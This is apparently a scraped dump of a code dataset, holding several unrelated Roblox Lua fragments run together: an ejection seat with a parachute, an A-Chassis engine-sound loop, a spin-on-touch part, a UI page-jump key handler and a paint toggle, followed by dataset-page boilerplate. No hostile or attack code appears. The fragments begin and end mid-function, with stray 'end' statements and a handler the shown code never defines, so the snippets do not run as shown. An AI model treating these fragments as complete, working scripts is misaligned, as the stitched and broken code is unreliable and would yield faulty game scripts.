-------------------------------------------------------------------------------------------
local Part3 = Instance.new("Part")
Part3.Parent = Model
Part3.Name = "Main"
Part3.CanCollide = false
Part3.FormFactor = "Symmetric"
Part3.Size = Vector3.new(1,4,1)
Part3.BottomSurface = "Smooth"
Part3.TopSurface = "Smooth"
local Mesh1 = Instance.new("CylinderMesh")
Mesh1.Parent = Part3
local BV = Instance.new("BodyVelocity")
BV.Parent = Part3
BV.maxForce = Vector3.new(17e3,math.huge,17e3)
BV.velocity = Vector3.new(0,700.15,0)
local BG = Instance.new("BodyGyro")
BG.Parent = Part3
BG.maxTorque = Vector3.new(math.huge,0,math.huge)
BG.cframe = CFrame.Angles(0,0,0)
local Weld8 = Instance.new("Weld")
Weld8.Parent = Part3
Weld8.Part0 = Part3
Weld8.Part1 = Part2
Weld8.C0 = CFrame.new(0,0.5,-0.5)
-------------------------------------------------------------------------------------------
local Visual = Instance.new("Part")
Visual.Parent = Model
Visual.Transparency = 1
Visual.Name = "Visual"
Visual.CanCollide = false
Visual.FormFactor = "Symmetric"
Visual.Size = Vector3.new(1,1,1)
Visual.BottomSurface = "Smooth"
Visual.TopSurface = "Smooth"
local Weld9 = Instance.new("Weld")
Weld9.Parent = Visual
Weld9.Part0 = Visual
Weld9.Part1 = Part3
Weld9.C0 = CFrame.new(0,-2.5,0) * CFrame.Angles(0,0,math.rad(180))
local Fire = Instance.new("Fire")
Fire.Parent = Visual
Fire.Heat = 25
Fire.Size = 10
-------------------------------------------------------------------------------------------
local Wire1 = Instance.new("Part")
Wire1.Parent = Model
Wire1.BrickColor = BrickColor.new("White")
Wire1.Transparency = 1
Wire1.Name = "Wire"
Wire1.CanCollide = false
Wire1.FormFactor = "Symmetric"
Wire1.Size = Vector3.new(1,13,1)
Wire1.BottomSurface = "Smooth"
Wire1.TopSurface = "Smooth"
local Mesh2 = Instance.new("CylinderMesh")
Mesh2.Parent = Wire1
Mesh2.Scale = Vector3.new(0.2,1,0.2)
local Weld10 = Instance.new("Weld")
Weld10.Parent = Wire1
Weld10.Part0 = Wire1
Weld10.Part1 = Part3
Weld10.C0 = CFrame.new(-0.5,-8.3,0.5)
Weld10.C1 = CFrame.Angles(math.rad(20),0,math.rad(20))
-------------------------------------------------------------------------------------------
local Wire2 = Instance.new("Part")
Wire2.Parent = Model
Wire2.BrickColor = BrickColor.new("White")
Wire2.Transparency = 1
Wire2.Name = "Wire"
Wire2.CanCollide = false
Wire2.FormFactor = "Symmetric"
Wire2.Size = Vector3.new(1,13,1)
Wire2.BottomSurface = "Smooth"
Wire2.TopSurface = "Smooth"
local Mesh3 = Instance.new("CylinderMesh")
Mesh3.Parent = Wire2
Mesh3.Scale = Vector3.new(0.2,1,0.2)
local Weld11 = Instance.new("Weld")
Weld11.Parent = Wire2
Weld11.Part0 = Wire2
Weld11.Part1 = Part3
Weld11.C0 = CFrame.new(0.5,-8.3,0.5)
Weld11.C1 = CFrame.Angles(math.rad(20),0,math.rad(-20))
-------------------------------------------------------------------------------------------
local Wire3 = Instance.new("Part")
Wire3.Parent = Model
Wire3.BrickColor = BrickColor.new("White")
Wire3.Transparency = 1
Wire3.Name = "Wire"
Wire3.CanCollide = false
Wire3.FormFactor = "Symmetric"
Wire3.Size = Vector3.new(1,13,1)
Wire3.BottomSurface = "Smooth"
Wire3.TopSurface = "Smooth"
local Mesh4 = Instance.new("CylinderMesh")
Mesh4.Parent = Wire3
Mesh4.Scale = Vector3.new(0.2,1,0.2)
local Weld12 = Instance.new("Weld")
Weld12.Parent = Wire3
Weld12.Part0 = Wire3
Weld12.Part1 = Part3
Weld12.C0 = CFrame.new(-0.5,-8.3,-0.5)
Weld12.C1 = CFrame.Angles(math.rad(-20),0,math.rad(20))
-------------------------------------------------------------------------------------------
local Wire4 = Instance.new("Part")
Wire4.Parent = Model
Wire4.BrickColor = BrickColor.new("White")
Wire4.Transparency = 1
Wire4.Name = "Wire"
Wire4.CanCollide = false
Wire4.FormFactor = "Symmetric"
Wire4.Size = Vector3.new(1,13,1)
Wire4.BottomSurface = "Smooth"
Wire4.TopSurface = "Smooth"
local Mesh5 = Instance.new("CylinderMesh")
Mesh5.Parent = Wire4
Mesh5.Scale = Vector3.new(0.2,1,0.2)
local Weld13 = Instance.new("Weld")
Weld13.Parent = Wire4
Weld13.Part0 = Wire4
Weld13.Part1 = Part3
Weld13.C0 = CFrame.new(0.5,-8.3,-0.5)
Weld13.C1 = CFrame.Angles(math.rad(-20),0,math.rad(-20))
-------------------------------------------------------------------------------------------
local Parachute = Instance.new("Part")
Parachute.Parent = Model
Parachute.BrickColor = BrickColor.new("Bright orange")
Parachute.Transparency = 1
Parachute.Name = "Parachute"
Parachute.CanCollide = false
Parachute.FormFactor = "Symmetric"
Parachute.Size = Vector3.new(1,1,1)
Parachute.BottomSurface = "Smooth"
Parachute.TopSurface = "Smooth"
local Mesh6 = Instance.new("SpecialMesh")
Mesh6.Parent = Parachute
Mesh6.MeshId = "http://www.roblox.com/asset/?id=1038653"
Mesh6.MeshType = "FileMesh"
Mesh6.Scale = Vector3.new(11,9,11)
local Weld14 = Instance.new("Weld")
Weld14.Parent = Parachute
Weld14.Part0 = Parachute
Weld14.Part1 = Part3
Weld14.C0 = CFrame.new(0,-15,0)
-------------------------------------------------------------------------------------------
wait(2.5)
BV.maxForce = Vector3.new(17e3,15e3,17e3)
BV.velocity = Vector3.new(0,0.15,0)
Fire.Enabled = false
function RayCast()
local SeatPos = Torso.CFrame.p
local SeatDir = (Torso.CFrame.p - Vector3.new(0,1,0)).unit
local Ray1 = Ray.new(SeatPos,SeatDir * -999)
local TrueHitPart,TrueHitPos = nil,nil
local HitPart,HitPos = game.Workspace:FindPartOnRayWithIgnoreList(Ray1,{Character,Camera})
for i = 1,10 do
if (not HitPart) then
local Ray2 = Ray.new(HitPos,SeatDir * -999)
local HitPart2,HitPos2 = game.Workspace:FindPartOnRayWithIgnoreList(Ray2,{Character,Camera})
if i ~= 10 then
if HitPart2 then
TrueHitPart,TrueHitPos = HitPart2,HitPos2
break
elseif (not HitPart2) then
HitPart,HitPos = HitPart2,HitPos2
end
elseif i == 10 then
TrueHitPart,TrueHitPos = HitPart2,HitPos2
end
elseif HitPart then
TrueHitPart,TrueHitPos = HitPart,HitPos
break
end
end
return TrueHitPart,TrueHitPos
end
local _,HitPos = RayCast()
Spawn(function()
while true do
_,HitPos = RayCast()
wait(0.05)
end
end)
Spawn(function()
while true do
if (Seat.Position.y - HitPos.y) <= 1000 then
break
end
wait()
end
BV.maxForce = Vector3.new(17e3,35e3,17e3)
BV.velocity = Vector3.new(0,-100.15,0)
Wire1.Transparency,Wire2.Transparency,Wire3.Transparency,Wire4.Transparency = 0,0,0,0
Parachute.Transparency = 0
while true do
if (Seat.Position.y - HitPos.y) <= 20 then
break
end
wait()
end
Connection:disconnect()
Humanoid.Jump = true
Humanoid.Sit = false
Model:Destroy()
game:GetService("Debris"):AddItem(script,0.1)
end)
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
script:WaitForChild("Rev")
script.Parent.Values.Gear.Changed:connect(function()
mult=1
if script.Parent.Values.RPM.Value>5000 then
shift=.2
end
end)
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
trmmult = math.max(0,trmmult-.05)
trmon = 1
else
throt = math.min(1,throt+.1)
trmmult = 1
trmon = 0
end
shift = math.min(1,shift+.2)
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Volume = (1*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50))
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^1)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume)
else
car.DriveSeat.Rev.Volume = Volume
car.DriveSeat.Rev.Pitch = Pitch
end
end
|
------- extreme math equations
|
local v = 30
local c = 70
local m = hit:GetMass()
if m< 20 then
m = 20
end
hit.RotVelocity =Vector3.new(math.random(-v,v)/(m/c),math.random(-v,v)/(m/c),math.random(-v,v)/(m/c))
end
end
script.Parent.Touched:connect(hit)
|
----------------------This is just an example-----------------------------
|
local PageLayout = script.Parent.UIPageLayout
local userInputService = game:GetService("UserInputService")
function onKeyPressOne()
print("One is pressed")
PageLayout:JumpTo(script.Parent.Primary)
|
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Teal",Paint)
end)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.